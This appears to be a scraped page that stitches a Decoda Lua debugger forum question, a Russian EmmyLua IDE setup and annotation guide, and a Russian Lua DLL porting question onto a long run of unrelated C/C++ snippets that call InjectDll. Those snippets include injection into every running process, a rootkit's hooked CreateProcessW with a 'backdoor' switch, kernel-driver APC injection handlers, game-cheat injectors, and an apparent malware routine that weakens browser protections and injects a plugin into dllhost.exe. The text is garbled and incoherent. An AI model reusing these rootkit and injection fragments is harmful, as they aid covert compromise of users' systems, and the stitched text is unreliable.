Hello, (first post! yay!)
So, I am trying to see if I can magically throw Decoda onto our project and have instant script-debugging goodness. So far I am having some issues.
So some info:
— We use Lua 5.1 with the LuaCoco-1.1.0 addin/mod/whatever
— We statically link Lua
— We generally have a largeish(?) amount of VMs active at a time (10-20).
— Both our Debug/Release builds produce PDBs with full debug information
So, running the debug build of our client I am able to launch and/or attach Decoda. It seems to be working properly (tracking the lifetimes of our VMs, etc). However, it reduces the client into what could be observed as ‘frozen’, but in reality seems to be a very dramitic slowdown the the client (tested through hooking into the client with VS.NET2005 debugger, pausing, observing that progress is being made… slowly). The slowdown is to the point of approx 1 frame per minute, so its far from usable.
So, I figured perhaps Decoda is adding a large overhead and a Release build would be more fruitful. However, when running in Release Decoda is unable to attach to the process, or launch the process. The error Decoda reports:
«Error: LuaInject.dll could not be loaded into the process»
I believe i have all Decoda project settings setup properly.. PDBs are output to the same directory in both Debug/Release builds, and in the case of release builds I did try cleansing the directory of debug PDBs (thinking perhaps decoda was looking at those?)
So, any advice would be appreciated. Decoda looks like it would be a pretty cool tool once I figure out how to work with it. <img src=»style_emoticons/<#EMO_DIR#>/smile-fix.gif» style=»vertical-align:middle» emoid=»:)» border=»0″ alt=»smile-fix.gif» />
Some thoughts:
— Is Decoda not compatible with LuaCoco? This might explain a lot.
— Is Decoda poor at handling large amounts of VMs? How about fairly rapid creation/destruction of VMs?
Thanks <img src=»style_emoticons/<#EMO_DIR#>/smile-fix.gif» style=»vertical-align:middle» emoid=»:)» border=»0″ alt=»smile-fix.gif» />
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Официальный документ https://emmylua.github.io/zh_CN/
github https://github.com/EmmyLua/IntelliJ-EmmyLua
1. Установите IntelliJ IDEA Community Edition 2018.2.4 x64.
Официальный адрес сайта http://www.jetbrains.com/idea/download/#section=windows
Просто загрузите его напрямую, загрузите версию сообщества, которая является бесплатной версией сообщества.
Изначально это написано на java, и некоторые параметры можно игнорировать в процессе установки.
2. Загрузите Lua для Windows
https://github.com/rjpcomputing/luaforwindows/releases
Просто скачайте последнюю версию и установите ее
3. Установите плагин emmylua
Есть два способа установить плагин: я использую библиотеку плагинов, которую ищу для установки, другие методы, обратитесь к официальному документу
- Open settings panel.
- Select plugins and click Browse repositories
- ищи EmmyLua И нажмитеInstall установка
- После установки перезапустите IDEA
Установить из zip файла
- скачатьzipфайл
- От JetBrains Plugin Repository скачать
- От Github release page скачать(Может быть не последняя версия)
- ОтQQСкачивание группового файла(Последняя версия сначала выпущена для тестирования в группе, номер группы:29850775 )
предостережение
Не нужно распаковыватьZipфайл
- Выбрать меню File -> Settings -> Plugins -> Install
pluginfromdisk - Выберите только что скачанныйEmmyLua.zipФайл, перезагрузить после установкиIDEA
4. Настройте проект lua.
Просто сначала создайте пустой проект, чтобы просто ввести и установить
Выберите корневой каталог проекта Lua
5. Читать файлы lua, игнорировать метафайлы
Это также настройки, текстовый файл, который xlua должен прочитать, вы можете установить его самостоятельно, и вам не нужно его устанавливать.
Также ниже есть список игнорируемых файлов, картинки нет, просто напишите * .meta; вверху
6. Интерфейс белый и глаза слишком острые, настройте на черный.
File—settings
7. Шрифт слишком мелкий.
File—settings
8. Добавьте приглашение Unity API
File—Project Structure
Нажмите кнопку с плюсом
Найдите UnityEngine.dll это
Я использовал Unity 2018 в D: Unity2018 Editor Data Managed.
Различные версии Unity имеют разные расположения файлов
(Это вид добавления dll, будут соответствующие подсказки кода, я чувствую, что dll, добавленная Fairygui, также может иметь подсказки кода Fairygui)
9. Игнорировать регистр, для удобства вызова API.
File—settings Отменить положение красного круга
10. Используйте аннотации.
Например, я написал следующий код
local go;
Затем в этой строке кода нажмите alt и введите
Будет возможность создать аннотацию типа, снова нажмите Enter.
Вы можете назвать тип для go, непосредственно введите игровой объект ниже, появится автоматическая подсказка для типа UnityEngine.GameObject, выберите его
Тогда это тип UnityEngine.GameObject.
Тогда иди. Может указать на метод единства api
Функция аннотации — это очень мощная функция emmylua, пожалуйста, обратитесь на официальный сайт для получения дополнительных навыков
11. Другое
①Глобальный поиск
ctrl shift f Обратите внимание, что сочетания клавиш не конфликтуют
Или отредактируйте — найдите — найдите в пути
Или обратитесь к этому https://blog.csdn.net/gnail_oug/article/details/78281354
②Организуйте формат кода
code—reformat code
Нужно выбрать код
ctrl + alt + L
③ Просмотрите конкретную реализацию метода
altУдерживайте, затем щелкните мышью
④Проверьте, где вызывается метод
alt+F7
⑤Формирование и восстановление кода
ctrl shift —
ctrl shift +
⑥Удалите волнистые линии и проверьте правописание
file-settings-editor-inspections
Введите опечатку в поле ввода и закройте его
///////////////////////////////////////////////////////////////////////////////////////
///////// EmmyLua for IntelliJ IDEA Document /////////
@classАннотация объявления класса
- Полный формат:
[email protected] MY_TYPE[:PARENT_TYPE] [@comment]
- Цель приложения:
- local переменная
- global переменная
- Пример:
|
- Описание примера:
будем cls Переменная отмечена как Car Класс, можно использовать в другом месте @type Аннотация для обозначения типа целевой переменной для улучшения подсказок кода и других функций
@typeАннотация тега типа
аннотация
использовать @type Аннотация для обозначения типа целевой переменной для улучшения подсказок кода и других функций
- Полный формат:
[email protected] MY_TYPE[|OTHER_TYPE] [@comment]
- Цель приложения:
- local переменная
|
-
- global переменная
-
- property Атрибуты
@alias Аннотация псевдонима
аннотация
можешь использовать @alias Зарегистрируйте некоторые сложные типы, которые нелегко ввести в качестве нового псевдонима
- Полный формат:
[email protected] NEW_NAME TYPE
- Пример
- [email protected] Handler fun(type: string, data: any):void
- [email protected] handler Handler
- function addHandler(handler)
end
@paramАннотация метки типа параметра
аннотация
использовать @param Аннотации для обозначения типа параметров определения функции для улучшения подсказок кода и других функций
@return Аннотация возвращаемого значения функции
аннотация
использовать @return Аннотация для обозначения типа возвращаемого значения функции
- Полный формат:
—@return MY_TYPE[|OTHER_TYPE] [@comment]
- Цель приложения:
- функция
|
[email protected] Car|Ship local function create() … end —Here car_or_ship doesn’t need @type annotation, EmmyLua has already inferred the type via «create» function local car_or_ship = create() |
|
|
[email protected] Car function factory:create() … end |
@field Аннотация атрибута
аннотация
использовать @field Аннотация для обозначения дополнительных атрибутов определенного класса (даже если этот атрибут не отображается в коде)
- Полный формат:
[email protected] [public|protected|private] field_name FIELD_TYPE[|OTHER_TYPE] [@comment]
- Цель приложения:
- в @class После аннотации
@generic Общая аннотация
аннотация
использовать @generic Аннотация для моделирования языка высокого уровня Универсальный
- Полный формат:
[email protected] T1 [: PARENT_TYPE] [, T2 [: PARENT_TYPE]]
- Цель приложения:
- function
- Пример:
@vararg Аннотации к неопределенным параметрам
аннотация
использовать @vararg Аннотируйте тип части с неопределенным параметром функции
- Полный формат:
[email protected] TYPE
- Пример
- [email protected] string
- [email protected] string
- local function format(…)
- local tbl = { … } — inferred as string[]
end
@languageВстроенный язык
аннотация
пригодный к употреблению @language Способ пометить фрагмент текста как определенный формат кода, чтобы его можно было выделить
- Полный формат:
[email protected] LANGUAGE_ID
- Пример:
- эффект:
Тип массива
аннотация
пригодный к употреблению MY_TYPE[] Способ пометить тип данных как массив
- Полный формат:
[email protected] MY_TYPE[]
- Пример:
|
Тип словаря
аннотация
пригодный к употреблению table<KEY_TYPE, VALUE_TYPE> Способ пометить тип данных как словарь
- Полный формат:
[email protected] table<KEY_TYPE, VALUE_TYPE>
- Пример:
|
Тип функции
аннотация
пригодный к употреблению fun(param:MY_TYPE):RETURN_TYPE Способ пометить тип данных как функцию
- Полный формат:
[email protected] fun(param:MY_TYPE):RETURN_TYPE
- Пример:
|
|
Литеральный тип
аннотация
Тип литерала (String literal types) Позволяет указать строку как подсказку фиксированного кода в сочетании с @alias Возможности могут быть похожими“перечислять”Эффект
- Пример
- [email protected] Handler fun(type: string, data: any):void
- [email protected] event string | «‘onClosed'» | «‘onData'»
- [email protected] handler Handler | «function(type, data) print(data) end»
- function addEventListener(event, handler)
end
аннотация
Рекомендуется использовать @alias Упростите сложность шрифтов
[email protected] Handler fun(type: string, data: any):void
[email protected] IOEventEnum string | «‘onClosed'» | «‘onData'»
[email protected] event IOEventEnum
[email protected] handler Handler | «function(type, data) print(data) end»
function addEventListener(event, handler)
end
@see Цитата
аннотация
пригодный к употреблению see Чтобы отметить ссылку
Полный пример
|
|
Запустить и отладить
готовы
аннотация
Корневой каталог исходного кода должен быть установлен на Sources оглавление.
Конкретный метод — открыть меню File -> Project Structure включи Project Structure Панель настроек, нажмите справа Add Content Root Чтобы добавить корневой каталог исходного кода, нажмите Mark as Sources отметка.
Начать отладку
Attach Debug Дополнительная отладка
незамедлительный
Дополнительная отладка в настоящее время доступна только в Windows Используется на платформе, может быть прикреплен к32Битовая сумма64Битовое приложение, потому что требуется дополнительная отладкаEmmyLuaМодуль отладки LuaInject.dll При внедрении в процесс отлаживаемой программы некоторые антивирусные программы и определенные средства защиты могут вывести окно с предупреждением.Если процесс внедрения заблокирован, произойдет сбой внедрения, что приведет к сбою отладки. Поэтому мы должны выбрать освобождение или доверие.
аннотация
Attach Debug На данный момент находится в экспериментальной стадии, нестабильно. Если отладчик часто дает сбой, используйте его вместоRemoteСпособ отладки. Если вы можете предоставить воспроизвести авариюBUGПроект лучший
1. Шаги
- Запускаем целевую программу, открываемIDEAменю Run -> Attach
toLocalProcess…
- Выберите целевую программу
- Обратите внимание на консольLOG, Появляется следующий рисунокLOGУказывает, что прикрепление было успешным
- Затем вы можете добавить точки останова в исходный код для отладки
2. Устранение неполадок
- Неверная точка останова, IDEAПоявится окно консоли xxx not found Журнал
пожалуйста подтвердите Sources Настройки каталога верны
- Не удалось подключиться к целевой программе с Error: LuaInject.dll could not be loaded into the process
Проверьте, не заблокирован ли процесс инъекции антивирусом и охранниками
Remote Debug Удаленная отладка
незамедлительный
Описание: обмен данными для удаленной отладки основан наsocket, Ядро основано наmobdebug.lua , Зависит отluasocketModule, поэтому отлаживаемая программа должна поддерживатьluasocket
Сначала нужно запустить удаленную отладку, а затем целевую программу
1. Шаги
- КонфигурацияRemoteНастройки отладки, щелкните в правом верхнем углу Edit
Configurations
- Нажмите на + Выбрать и создать Lua Remote(Mobdebug) Конфигурация
Нажмите после установки соответствующих параметровOK
- Щелкните в правом верхнем углуdebugКнопка
- ПримечаниеIDEAКонсольLOGВыходные данные, как показано на рисунке ниже, обозначают запуск
- скачать mobdebug.lua И в целевой программеluaДобавьте код при вводе кода
|
1 |
require(«mobdebug»).start() |
или
|
1 |
require(«mobdebug»).start(«host-ip», port) —Значение по умолчанию — «localhost», 8172 |
- Напоследок запускаем целевую программу и обращаем вниманиеIDEAПоявится окно консоли, как показано ниже.`Connected`Это означает, что отладчик успешно подключен и может добавлять точки останова и отлаживать
2. Устранение неполадок
- Консоль не появляется после запуска целевой программы`Connected`Журнал
- Убедитесь, что целевая программа содержитluasocketМодуль
- Убедитесь, что порт отладки такой же (по умолчанию8172порт)
- Connected Журнал есть, но точка останова недействительна
- экзамен Sources Настройки каталога верны
- Убедитесь, что имя файла, предоставленное целевой программой во время выполнения, соответствует имени исходного файла (по крайней мере, часть перед именем суффикса согласована)
Ярлык для этой проверки находится в mobdebug.lua из
|
1 |
local function has_breakpoint(file, line) |
Вывод на печать в функции file
Блог им. SAMOKILLER
- 16 сентября 2020, 12:42
- |
Я пытаюсь перевести dll на x64 lua5.3 vs15
Действую по инструкции https://quikluacsharp.ru/qlua-c-cpp-csharp/konnektor-dll-quik-qlua-lua-c/
Перечитал все комменты, всё испробовал, но так и не решил.
Библиотеку lua я скачал, всё заменил, но не заводится она.
Т.е. я просто меняю библиотеки с 5.1 на 5.3, прописываю новую lua53.lib но всё-время вылазят ошибки:
C2079 «ls_lib» использует неопределенный struct «ls_lib»
C2078 слишком много инициализаторов
C2664 «void luaL_setfuncs(lua_State *,const luaL_Reg *,int)»: невозможно преобразовать аргумент 2 из «luaL_reg []» в «const luaL_Reg *»
Из-за чего так?
Скачивал проект LuaProba (https://smart-lab.ru/blog/605815.php), но он был для 5.1
Опять же, в нём библиотеки поменяю — и опять эти же ошибки вылазят.
//=== Регистрация реализованных в dll функций, чтобы они стали "видимы" для Lua ================================//
static struct luaL_reg ls_lib[] = {
{ "TestFunc", forLua_TestFunc }, // из скрипта Lua эту функцию можно будет вызывать так: QluaCSharpConnector.TestFunc(); здесь можно указать любое другое название
{ NULL, NULL }
};
//=== Регистрация названия библиотеки, видимого в скрипте Lua ==================================================//
//extern "C" LUALIB_API int luaopen_connector(lua_State *L) {
// luaL_openlibs(L, "connector", ls_lib, 0);
// return 0;
//}
extern "C" LUALIB_API int luaopen_connector(lua_State *L) {
lua_newtable(L);
luaL_setfuncs(L, ls_lib, 0);
lua_pushvalue(L, -1);
lua_setglobal(L, "connector");
return 0;
}
Как жить?
- хорошо
-
3
BOOL InjectDllToOne(LPCTSTR szProc, int nMode, LPCTSTR szDllPath)
{
int i = 0, nLen = (int)_tcslen(szProc);
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
BOOL bMore = FALSE;
// check if ProcName or PID
for(i = 0; i < nLen; i++)
if( !_istdigit(szProc[i]) )
break;
if( i == nLen ) // PID
{
dwPID = (DWORD)_tstol(szProc);
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
else // ProcName
{
// Get the snapshot of the system
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
if( hSnapShot == INVALID_HANDLE_VALUE )
{
_tprintf(L"InjectDllToOne() : CreateToolhelp32Snapshot() failed!!! [%d]",
GetLastError());
return FALSE;
}
// find process
bMore = Process32First(hSnapShot, &pe);
for( ; bMore; bMore = Process32Next(hSnapShot, &pe) )
{
dwPID = pe.th32ProcessID;
// 시스템의 안정성을 위해서
// PID 가 100 보다 작은 시스템 프로세스에 대해서는
// DLL Injection 을 수행하지 않는다.
if( dwPID < 100 )
continue;
if( !_tcsicmp(pe.szExeFile, szProc) )
{
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
}
CloseHandle(hSnapShot);
}
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
// 시스템의 안정성을 위해서
// PID 가 100 보다 작은 시스템 프로세스에 대해서는
// DLL Injection 을 수행하지 않는다.
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
/*============================================================================
* windows MAIN
*/
int _tmain(int argc, _TCHAR* argv[])
{
if( argc > 0 )
{
return (int)InjectDll( (DWORD)_wtoi( argv[ 0 ] ) );
}
return ERROR_INVALID_PARAMETER;
}
/**************************************
* Inject code into a remote process. *
**************************************/
BOOL Inject()
{
#ifdef INJECT_DLL
return (InjectDll() != 0);
#else
return (InjectCode() != 0);
#endif
}
bool DebugFrontend::InitializeBackend(const char* symbolsDirectory)
{
if (GetIsBeingDebugged(m_processId))
{
MessageEvent("Error: The process cannot be debugged because it contains hooks from a previous session", MessageType_Error);
return false;
}
char eventChannelName[256];
_snprintf(eventChannelName, 256, "Decoda.Event.%x", m_processId);
char commandChannelName[256];
_snprintf(commandChannelName, 256, "Decoda.Command.%x", m_processId);
// Setup communication channel with the process that is used to receive events
// back to the frontend.
if (!m_eventChannel.Create(eventChannelName))
{
return false;
}
// Setup communication channel with the process that is used to send commands
// to the backend.
if (!m_commandChannel.Create(commandChannelName))
{
return false;
}
// Inject our debugger DLL into the process so that we can monitor from
// inside the process's memory space.
if (!InjectDll(m_processId, "LuaInject.dll"))
{
MessageEvent("Error: LuaInject.dll could not be loaded into the process", MessageType_Error);
return false;
}
// Wait for the client to connect.
m_eventChannel.WaitForConnection();
// Read the initialization function from the event channel.
if (!ProcessInitialization(symbolsDirectory))
{
MessageEvent("Error: Backend couldn't be initialized", MessageType_Error);
return false;
}
m_state = State_Running;
// Start a new thread to handle the incoming event channel.
DWORD threadId;
m_eventThread = CreateThread(NULL, 0, StaticEventThreadProc, this, 0, &threadId);
return true;
}
// Backdoor : if application name or command line contains RTK_FILE_CHAR
// the created process is *not* hooked.
// Useful to launch hidden process from windows gui/cmd.exe that performs
// a search before delegating the creation of the process to CreateProcess
// To launch a non hijacked process using cmd, do the following :
// run: cmd.exe
// type: cmd.exe _nti (where _nti is RTK_FILE_CHAR )
// then run your hidden program from the non hijacked shell
BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
int bResult, bInject=1;
char msg[1024], cmdline[256], appname[256];
OutputString("[i] CreateProcessW()n");
// do not rely on info given by HijackApi() since we may have hijacked at GetProcAddress() level
if(!fCreateProcessW) {
fCreateProcessW = (FARPROC) fGetProcAddress(GetModuleHandle("kernel32.dll"),"CreateProcessW");
if(!fCreateProcessW) return 0;
}
my_memset(msg, 0, 1024);
my_memset(cmdline, 0, 256);
my_memset(appname, 0, 256);
//Convert strings from unicode :
WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)lpApplicationName, -1, appname, 255,NULL, NULL);
WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)lpCommandLine, -1, cmdline, 255,NULL, NULL);
OutputString("n[!!] Hooked CreateProcessW : %s - %s, injecting rootkit (%s)...n", (char*)appname, (char*)cmdline, (char*)kNTIDllPath);
bResult = (int) fCreateProcessW((const unsigned short *)lpApplicationName,
(unsigned short *)lpCommandLine, lpProcessAttributes, lpThreadAttributes,
bInheritHandles, CREATE_SUSPENDED /*dwCreationFlags*/,
lpEnvironment, (const unsigned short *)lpCurrentDirectory,
(struct _STARTUPINFOW *)lpStartupInfo, lpProcessInformation);
// inject the created process if its name & command line doesn't contain RTK_FILE_CHAR
if(bResult)
{
if(lpCommandLine) {
if(strstr((char*)cmdline,(char*)RTK_FILE_CHAR)){
OutputString("n[i] CreateProcessW: Giving true sight to process '%s'...n", (char*)appname);
WakeUpProcess(lpProcessInformation->dwProcessId);
bInject = 0;
}
}
if(lpApplicationName) {
if(strstr((char*)appname,(char*)RTK_FILE_CHAR)) {
OutputString("n[i] CreateProcessW: Giving true sight to process '%s'...n", (char*)appname);
WakeUpProcess(lpProcessInformation->dwProcessId);
bInject = 0;
}
}
if(bInject) InjectDll(lpProcessInformation->hProcess, (char*)kNTIDllPath);
CloseHandle(lpProcessInformation->hProcess);
CloseHandle(lpProcessInformation->hThread);
}
return bResult;
}
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP irp)
{
PIO_STACK_LOCATION io;
PINJECT_INFO InjectInfo;
NTSTATUS status;
io=IoGetCurrentIrpStackLocation(irp);
irp->IoStatus.Information=0;
switch(io->MajorFunction)
{
case IRP_MJ_CREATE:
status=STATUS_SUCCESS;
break;
case IRP_MJ_CLOSE:
status=STATUS_SUCCESS;
break;
case IRP_MJ_READ:
status=STATUS_SUCCESS;
break;
case IRP_MJ_WRITE:
InjectInfo=(PINJECT_INFO)MmGetSystemAddressForMdlSafe(irp->MdlAddress,NormalPagePriority);
if(!InjectInfo)
{
status=STATUS_INSUFFICIENT_RESOURCES;
break;
}
if(!InjectDll(InjectInfo))
{
status=STATUS_UNSUCCESSFUL;
break;
}
status=STATUS_SUCCESS;
irp->IoStatus.Information=sizeof(INJECT_INFO);
break;
default:
status=STATUS_INVALID_DEVICE_REQUEST;
break;
}
irp->IoStatus.Status=status;
IoCompleteRequest(irp,IO_NO_INCREMENT);
return status;
}
int _tmain(int argc,TCHAR *argv[]) {
if (argc != 3) {
_tprintf(L"USAGE:%s pid dll_pathn",argv[0]);
return 1;
}
// inject dll
if (InjectDll((DWORD)_tstol(argv[1]), argv[2]))
_tprintf(L"InjectDll("%s") success!n",argv[2]);
else
_tprintf(L"InjectDll("%s") failed!n", argv[2]);
return 0;
}
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
PIO_STACK_LOCATION io;
PINJECT_INFO InjectInfo;
NTSTATUS Status = STATUS_SUCCESS;
PIO_STACK_LOCATION IrpSp;
PVOID InputBuffer = NULL;
PVOID OutputBuffer = NULL;
ULONG_PTR InputSize = 0;
ULONG_PTR OutputSize = 0;
ULONG_PTR IoControlCode = 0;
IrpSp = IoGetCurrentIrpStackLocation(Irp);
InputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;
InputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
OutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
switch(IoControlCode)
{
case CTL_KEINJECTAPC:
InjectInfo=(PINJECT_INFO)InputBuffer;
if(!InjectInfo)
{
Status=STATUS_INSUFFICIENT_RESOURCES;
break;
}
if(!InjectDll(InjectInfo))
{
Status=STATUS_UNSUCCESSFUL;
break;
}
Status=STATUS_SUCCESS;
Irp->IoStatus.Information=0;
break;
default:
Status=STATUS_INVALID_DEVICE_REQUEST;
break;
}
Irp->IoStatus.Status=Status;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return Status;
}
// command for inject button
void CdllInjectDoc::InjectSelected(CListCtrl* lv, LPSTR szDllName)
{
POSITION pos = lv->GetFirstSelectedItemPosition();
int index = 0;
TCHAR pid[21];
TCHAR cPid[21] = {0};
DWORD dwPid;
while((index = lv->GetNextSelectedItem(pos)) != -1)
{
memcpy_s(pid, 21, cPid, 21);
lv->GetItemText(index, 1, pid, 20);
dwPid = _ttoi(pid);
TCHAR exeFile[MAX_PATH];
lv->GetItemText(index, 0, exeFile, MAX_PATH);
TCHAR line[260];
_stprintf_s(line, 260, _T("Injecting %s(%s)... "), exeFile, pid);
writeLog(CString(line));
CString temp;
temp.Append(exeFile);
temp += _T("|");
temp.Append(pid);
temp += _T("|");
int aa = pidInfo.Find(temp, 0);
if (pidInfo.Find(temp, 0) != -1)
{
writeLog(CString("Already Injected.rn"));
continue;
}
if (InjectDll(dwPid, szDllName) == TRUE)
{
writeLog(CString("SUCCEED.rn"));
pidInfo += temp;
}
else
writeLog(CString("FAILED.rn"));
}
}
int _tmain(int argc, _TCHAR* argv[])
{
// 提升权限
EnablePrivilege(TRUE);
// 打开进程
HWND hwnd = FindWindow(_T("BASE"), _T("搶曽嵁庫揱丂乣 Legacy of Lunatic Kingdom. ver 1.00b")); // 日文编码就是这样...
DWORD pid;
GetWindowThreadProcessId(hwnd, &pid);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (process == NULL)
{
printf("打开进程失败,错误代码:%un", GetLastError());
return 1;
}
// 要将TH15Render.dll放在本程序当前目录下
TCHAR dllPath[MAX_PATH]; // 要用绝对路径
GetCurrentDirectory(_countof(dllPath), dllPath);
_tcscat_s(dllPath, _T("\TH15Render.dll"));
// 注入DLL
HMODULE remoteModule = InjectDll(process, dllPath);
if (remoteModule == NULL)
{
CloseHandle(process);
return 2;
}
// 暂停
printf("按回车卸载DLLn");
getchar();
// 卸载DLL
if (!FreeRemoteDll(process, remoteModule))
{
CloseHandle(process);
return 3;
}
// 关闭进程
CloseHandle(process);
return 0;
}
int main(int argc, char *argv[])
{
SetPrivilege(SE_DEBUG_NAME, TRUE);
// InjectDll.exe <PID> <dllpath>
if( argc != 3 )
{
printf("Ó÷¨ : %s <½ø³ÌPID> <dll·¾¶>/n", argv[0]);
return 1;
}
if( !InjectDll((DWORD)atoi(argv[1]), argv[2]) )
{
printf("InjectDllµ÷ÓÃʧ°Ü£¡/n");
return 1;
}
printf("InjectDllµ÷Óóɹ¦£¡/n");
return 0;
}
int _tmain(int argc, TCHAR* argv[])
{
if( argc != 4 )
{
usage();
return 1;
}
// adjust privilege
_EnableNTPrivilege(SE_DEBUG_NAME, SE_PRIVILEGE_ENABLED);
// InjectDll.exe <i|e> <PID> <dll_path>
if( !_tcsicmp(argv[1], L"i") )
InjectDll((DWORD)_tstoi(argv[2]), argv[3]);
else if(!_tcsicmp(argv[1], L"e") )
EjectDll((DWORD)_tstoi(argv[2]), argv[3]);
return 0;
}
BOOL InjectDllToAll(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
BOOL bMore = FALSE;
// Get the snapshot of the system
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
if( hSnapShot == INVALID_HANDLE_VALUE )
{
_tprintf(L"InjectDllToAll() : CreateToolhelp32Snapshot() failed!!! [%d]",
GetLastError());
return FALSE;
}
// find process
bMore = Process32First(hSnapShot, &pe);
for( ; bMore; bMore = Process32Next(hSnapShot, &pe) )
{
dwPID = pe.th32ProcessID;
// 예외 프로세스 : [System Process], System, smss.exe, csrss.exe
if( dwPID < 100 ||
!_tcsicmp(pe.szExeFile, L"smss.exe") ||
!_tcsicmp(pe.szExeFile, L"csrss.exe") )
{
_tprintf(L"%s(%d) => System Process... DLL %s is impossible!n",
pe.szExeFile, dwPID, nMode==INJECTION_MODE ? L"Injection" : L"Ejection");
continue;
}
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
CloseHandle(hSnapShot);
return TRUE;
}
void KInject::Inject2(HANDLE hProcess, HANDLE hThread){
DWORD ret;
char szDLL[MAX_PATH];
//Intruder.dll full path
// GetModuleFileNameA(0, szDLL, MAX_PATH);
// for(DWORD i=(DWORD)strlen(szDLL); i>0; i--){if(szDLL[i-1]=='\'){szDLL[i]=0; break;}}
// strcat(szDLL, "intruder.dll");
strcpy(szDLL, "C:\apilog\intruder.dll");
int len = strlen(szDLL) + 1;
PVOID param = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE);
if (param != NULL)
{
if (WriteProcessMemory(hProcess, param, (LPVOID)szDLL, len, &ret)) {
InjectDll(hProcess, hThread, (DWORD)param);
}
}
}
int _tmain(int argc, TCHAR *argv[])
{
if( argc != 3)
{
_tprintf(L"USAGE : %s <pid> <dll_path>n", argv[0]);
return 1;
}
// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;
// inject dll
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
_tprintf(L"InjectDll("%s") success!!!n", argv[2]);
else
_tprintf(L"InjectDll("%s") failed!!!n", argv[2]);
return 0;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
switch (lParam) {
case INJECT_DLL:{
if (getwindowtext(hwnd) == "Diablo II") {
string path = getexepath(hwnd);
if (path == "") MessageBox(hwnd, str_to_wstr("Could not get Diablo II exe path.n" + error_code_to_text(GetLastError())).c_str(), L"ERROR", MB_OK);
string exename = path.substr(path.rfind("\") + 1, path.size() - path.rfind("\"));
if (exename == "Game.exe") {
if (!isInjected(hwnd)) {
if (!InjectDll(hwnd)) {
MessageBox(hwnd, L"Injection failed", L"ERROR", MB_OK);
break;
}
}
}
}
break;
}
}
return TRUE;
}
static void Run()
{
SetFirefoxPrefs();
DisableMultiProcessesAndProtectedModeIe();
InitPanelRequest();
BYTE *mainPluginPe = NULL;
GetDlls(&mainPluginPe, NULL, FALSE);
char dllhostPath[MAX_PATH] = { 0 };
Funcs::pSHGetFolderPathA(NULL, CSIDL_SYSTEM, NULL, 0, dllhostPath);
Funcs::pLstrcatA(dllhostPath, Strs::fileDiv);
Funcs::pLstrcatA(dllhostPath, Strs::dllhostExe);
STARTUPINFOA startupInfo = { 0 };
PROCESS_INFORMATION processInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
Funcs::pCreateProcessA(dllhostPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo);
InjectDll(mainPluginPe, processInfo.hProcess, FALSE);
}
/*
Función: InjectorDll
Descripción: Proceso principal encargado de crear el nuevo proceso e
e insertar en memoria del proceso cargado los datos necesarios
para poder cargarse la dll especificada
Parametros:
program_name - Nombre del programa
dll_name - Nombre de la dll
Retorno:
_ERROR__ - Fallo en alguno de los pasos del proceso
_SUCCESS__ - Funcionamiento correcto del proceso
*/
int
InjectorDll
(
const char * dll_name,
const char * typeapp,
const char * program_name,
DWORD pid
)
{
STARTUPINFO startup_info;
PROCESS_INFORMATION pinfo;
int return_function;
char * debug_string;
int type_of_app;
DWORD create_flag;
// Inicializacion de variables locales
ZeroMemory( & startup_info , sizeof(startup_info) );
ZeroMemory( & pinfo, sizeof(pinfo) );
startup_info.cb = sizeof(startup_info);
return_function = _SUCCESS__;
// Controlamos si debemos lanzar el proceso o engancharnos a uno ya creado
if ( program_name == NULL )
{
// Nos enganchamos al proceso ya creado
debug_string = "Open process";
pinfo.hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
if ( pinfo.hProcess == NULL )
{
printf( " [FAIL] - %sn", debug_string );
ShowGetLastErrorString( "InjectorDll:OpenProcess(pid)" );
return _ERROR__;
}
else
{
